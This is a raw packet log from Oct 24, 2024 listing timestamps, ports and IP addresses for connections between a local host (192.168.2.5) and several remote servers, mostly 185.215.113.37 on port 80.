Oct 24, 2024 08:38:41.593112946 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.593291998 CEST	443	61029	142.250.184.238	192.168.2.5
Oct 24, 2024 08:38:41.595633984 CEST	61029	443	192.168.2.5	142.250.184.238
Oct 24, 2024 08:38:41.600214958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:41.605561018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873785019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873806953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873831987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873841047 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:41.873846054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873855114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873866081 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:41.873917103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.873936892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874046087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874075890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874130011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874164104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874197960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874258995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874401093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874433994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874469042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:41.874891996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:41.874933958 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.026454926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026489973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026633978 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.026643991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026679993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026715994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026750088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026803970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026834011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026869059 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026873112 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.026905060 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026941061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.026969910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027040958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027075052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027076960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.027100086 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.027108908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027143002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027237892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027286053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.027292967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027349949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027388096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027415991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.027421951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027467966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.027508974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027561903 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027616024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027638912 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.027648926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027683973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.027816057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.077248096 CEST	61027	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:42.077685118 CEST	61033	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:42.083093882 CEST	80	61027	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:42.083127975 CEST	80	61033	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:42.084012032 CEST	61027	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:42.084079981 CEST	61033	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:42.084420919 CEST	61033	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:42.089762926 CEST	80	61033	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:42.143789053 CEST	61034	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:42.144625902 CEST	61035	443	192.168.2.5	35.244.181.201
Oct 24, 2024 08:38:42.144663095 CEST	443	61035	35.244.181.201	192.168.2.5
Oct 24, 2024 08:38:42.144954920 CEST	61035	443	192.168.2.5	35.244.181.201
Oct 24, 2024 08:38:42.145328999 CEST	61035	443	192.168.2.5	35.244.181.201
Oct 24, 2024 08:38:42.145339966 CEST	443	61035	35.244.181.201	192.168.2.5
Oct 24, 2024 08:38:42.147301912 CEST	61036	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:42.147345066 CEST	443	61036	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:42.148415089 CEST	61036	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:42.149142981 CEST	80	61034	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:42.149801970 CEST	61036	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:42.149820089 CEST	443	61036	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:42.153896093 CEST	61034	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:42.154017925 CEST	61034	80	192.168.2.5	34.107.221.82
Oct 24, 2024 08:38:42.159302950 CEST	80	61034	34.107.221.82	192.168.2.5
Oct 24, 2024 08:38:42.179111004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179189920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179213047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179225922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179239035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179253101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179265976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179419994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179442883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179496050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179507017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179641008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179651976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179682016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179693937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179704905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179837942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.179908037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180048943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180062056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180073977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180084944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180311918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180324078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180335999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180347919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180361032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180373907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180386066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180397987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180408955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180811882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180824041 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180835962 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180854082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180922031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180967093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.180980921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181009054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181236029 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181247950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181260109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181272030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181282997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181294918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181308031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.181319952 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.183438063 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.183617115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.183617115 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.183636904 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.183674097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.183768988 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.294487000 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.294500113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.294512033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.294569016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.332170963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.332185984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.332196951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.332202911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.332369089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.337392092 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.337404966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.337415934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.337429047 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.337440968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.337452888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.337649107 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.337687016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.342978954 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.342993975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.343004942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.343015909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.343029022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.343092918 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.343146086 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.348486900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.348500967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.348511934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.348522902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.348534107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.348539114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.348570108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.348584890 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.353730917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.353744030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.353754997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.353766918 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.353789091 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.353816032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.360642910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.360656023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.360666037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.360678911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.360692024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.360733032 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.360819101 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.366107941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.366121054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.366131067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.366144896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.366166115 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.367383003 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.371479988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.371644020 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.371656895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.371669054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.371680021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.372014046 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.377027035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.377039909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.377052069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.377089977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.377124071 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.377151966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.377166033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.377288103 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.382358074 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.382757902 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.414902925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.414918900 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.415043116 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.415222883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.415236950 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.415268898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.415304899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.447211981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.447227955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.447345018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.447745085 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.452449083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.452461958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.452629089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.453001976 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.453016996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.453098059 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.453098059 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.457772970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457786083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457797050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457849026 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.457879066 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.457925081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457937956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457948923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457962036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457973957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457986116 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.457998037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458009958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458020926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458070040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458081961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458086967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458096981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458105087 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.458110094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458259106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458271980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458276033 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.458285093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458297014 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458308935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458321095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458332062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458344936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458355904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458391905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458405018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458415985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458427906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458439112 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458555937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458570004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458580971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458591938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458604097 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458604097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.458616972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458628893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458641052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458652973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458664894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.458677053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.459100962 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.459132910 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.504307032 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:42.504348993 CEST	443	61037	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:42.504872084 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:42.506608009 CEST	61037	443	192.168.2.5	34.117.188.166
Oct 24, 2024 08:38:42.506622076 CEST	443	61037	34.117.188.166	192.168.2.5
Oct 24, 2024 08:38:42.524866104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.524889946 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.524899960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.524960995 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.525038958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.525110006 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.562654972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562669039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562680006 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562802076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562814951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562829018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562962055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562979937 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562988997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.562999964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563011885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563021898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563035011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563153028 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563163996 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563174963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563186884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563476086 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563493013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563504934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563517094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563528061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563709021 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563720942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563731909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563743114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563857079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563868046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563879967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.563997030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564008951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564022064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564152002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564163923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564174891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564188004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564202070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564645052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564655066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564666986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564678907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564691067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564702034 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564793110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564805031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564815044 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564826012 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564837933 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.564934969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:42.567923069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.568070889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:42.568128109 CEST	61014	80	192.168.2.5	185.215.113.37
